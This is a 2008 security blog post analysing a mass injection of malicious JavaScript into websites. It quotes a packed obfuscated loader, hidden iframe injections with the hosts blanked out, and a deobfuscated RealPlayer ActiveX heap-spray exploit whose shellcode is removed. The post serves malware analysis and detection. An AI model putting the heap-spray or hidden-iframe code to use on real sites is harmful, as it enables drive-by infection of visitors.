The commercial HTML packer dilemma
Wednesday May 14, 2008 at 9:53 am CST
Posted by Patrick Comiotto
Trackback
Following the big noise that the latest mass injection of sites with malicious Javascripts infecting many computers via a number of exploits I decided to take a look at the trail that was left behind, which has proven to be an interesting exercise!
A few days ago I noticed a large number of websites that were misbehaving and I came across many pages that would fire up the usual ActiveX alert on my Internet Explorer 7 after loading a Javascript called (on this occasion) addr.js … Not surprisingly these were mostly based in China and here is a snippet of code that most of you would probably recognise by now.
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString
(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k
||e(c);k=[function(e){return d
}];
e=function(){return’\\w+’};c=1};while(c–)if(k)p=p.replace(new
RegExp(’\\b’+e(c)+’\\b’,'g’),k);return
…
||iframe|document|if|cn||||http|src|none|style|||write||new|catch|try|gift|
…
|ie|toLowerCase|userAgent|navigator||String|1000|24|getTime|setTime|Date’.split(’|'),0,{}))
So far nothing new, the Javascript function you can see above, designed by Dean Edwards to obfuscate HTML code, it has been discussed in many posts and this is a popular method for a web developers to “hide” sensitive source code on their pages. It is unfortunately also a popular method to hide malicious code too. and the example above does just that, in fact here are some interesting parts of the decoded version from the above example:
try{if(navigator.userAgent.toLowerCase().indexOf(”ms”+”ie 7″)==-1)
This will check if version of Internet Explorer is 7 and the script will then load the following IFRAMES depending on some other factors such as GMT, ActiveX, presence of Real Player version etc.
<iframe style=display:none src="http:// :///ms.gif">
<iframe style=display:none src=":///xl.gif">
<iframe style=display:none src="http:// :///bd.gif">
<iframe style=d'+'isp'+'lay:none src="http:// :///r'+'eal.g'+'if">
<iframe style=d'+'isp'+'lay:none src="http:///r'+'eal_new.g'+'if">
<iframe style=display:none src="http:// :///lz.gif">
As we can see 6 IFRAMES are hidden in the code, and they will load various pages with exactly the same exploits (with minor variations) that were used in the recent mass injection a couple of weeks ago.
So you might ask now, what’s new about that? Well, what is worrying is the fact that the pages loaded by the IFRAMES will attempt to grab some fake GIF (image) files that are in fact hiding more Javascript code but this time the code is obfuscated by yet another commercial tool called HTMLSHIP.
The following snippet is an example from one of the pages hiding a RealPlayer Exploit:
<META HTTP-EQUIV="imagetoolbar" CONTENT="no" >
<noscript> <iframe> </iframe> </noscript> <script language="javascript">
<--
oB73=”g\_B\_llBX”,hG30=”ghW\!WX\!X”;.4198945,hZ47=”.417788″,oB73=’\}4\?
P\*nu\,S\Bj\^\{\|FRv1qysJck\$\#lXY8KT\.\`p\@3Q\:\[A7\”romw\ OUiW\%M\-
\n\_z’,hG30=’h\[3aK\$\^iz5\&\|4sqF\)op9dH\+\.\!\}\*eX\,uvlVr1\=80b\:PDB
\>\{\#Nm\?cCtkL\@\(QGfUO\`\\\-\n7\]JIgEYR\_nw\~ZWT6jS\’\”x\ \/\%\;\ryM\
<2A’;function rD24(cX63){”ghXh\@\{\{h”,l=cX63.length;’\/rZNLrPz’,w=”;
while(l–)”g\!\@l\]\{W\]”,o=oB73.indexOf(cX63.charAt(l)),’\/ErPIYLr’,
w=(o==-1?cX63.charAt(l):hG30.charAt(o))+w;”g\!\@\]\_Wll”,oB73=oB73.
substring(1)+oB73.charAt(0),document.write(w);'\/YZEIENY'};rD24"
\nL\^V\,C\|O\+P3T\&PT\'ZrP\)PL\^V\,C\|6\|f\<EZ\!\_\?gW\,s1IG\^\&B\
'3\|\=P\+\+\;ts\&3\^\|\,G3O\@IB1\;tV\'\|\&V3OsP\+L\'9Ws\&3\^\|\,G3O\@
BIB1\;tIG\^\&B\'3\|\=G3\^G3\|\'\
...
\:4S2bUq\r\)J\/2bQ\.F4U\_UPzGU\r\)JUgU\r\)JU\=U\)Qb\\\{\*Hbq\ W\(\|\
G\%MX \+\*\!UjUgUww\%MX jUgUC\ro\/\|CQ\\C2b\%MX C\ro\/\|CQ\\C2bUgU\r\)
J\%MX C\ro\/\|CQ\\C2bUgUj\%MX jUgUC\ro\/\|CQ\\C2b\%MX C\ro\/\|CQ\\
C2bUgU\r\)J\%MX C\ro\/\|CQ\\C2bUgUj\%MX\_i\\\{\!SHFt”)
<b><font color=”red”>This page requires a javascript enabled browser!!!</font></b>
As you may have noticed this is pretty much un-readable but here is the important part of the code de-obfuscated using one of my favourite tools, the Caffeine-Monkey implementation of the Mozilla Browser engine from Ben Feinstein and Daniel Peck at SecureWorks.
<script language="JavaScript">
document.write('<object classid="clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93" id="obj" width=0 height=0> </object>');
----------
Above we can see the CLSID for the RealPlayer ActiveX Control.
And below we can see some of the code used to exploit the vulnerability described here.
var shellcode1 = unescape(" [SHELLCODE- REMOVED] ");
var bigblock = unescape("%u0C0C%u0C0C");
var headersize = 20;
var slackspace = headersize + shellcode1.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40001) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 400; i++){ memory
= block + shellcode1 }
var buf = '';
while (buf.length < 32) buf = buf + unescape("%0C");
var m = '';
m = obj.Console;
obj.Console = buf;
obj.Console = m;
----------------
So far I have seen a few variations in the domains used to host the various exploits involved as well as in the names for the Javascript file and we will be monitoring these for changes to see if it will be used more extensively in the future.
As of today the samples I discovered are still not detected by any AV … Well except one that is… 
An additional note is the fact that the techniques used in obfuscating malicious Javascript on webpages are becoming more sophisticated and more difficult to signature for conventional AV Engines.
Nowadays there are a large number of tools similar to the ones mentioned above allowing malware authors to obfuscate with ease.
A quick parallel with binary files and their respective packers (compressors, protectors, encryptors and so on) this is not a new technique but as I said things are becoming more sophisticated just like with UPX vs the likes of Armadillo, ASProtect and others.
To hide or not To hide
In an Ideal world the people making this commercial protection software available should have no need to hide code in such convoluted ways and perhaps, in the case of web-design people should be more aware of other practices to make code secure and safe for copyrights and/or trademark reasons. For example server-side scripting, or using Ajax and Java for servlets.
If I was to embark in the task of leeching the code of a particularly interesting web-page and I understood the inner workings of scripting languages such as Javascript or the Microsoft implementation for IE’s JScript I would not be stopped by such trivial means of hiding the code that can be easily reverted to the original look with a few clicks and the latest version of a browser engine like the Mozilla Java-Script C engine.
Many Ideas are being brought forward in the field of packing and how to counteract the incredible rise in malware variants caused by it. Perhaps people making legitimate software and writing legitimate HTML code for web-pages should start coming to terms with the fact that “Security through Obscurity” has failed miserably to deliver and that, the cleaner their products the easier it will be for all of us to identify suspicious illegal software/code making the task of identifying the bad guys a little less daunting….. however this is far from an ideal world
Errr…. Linux anyone?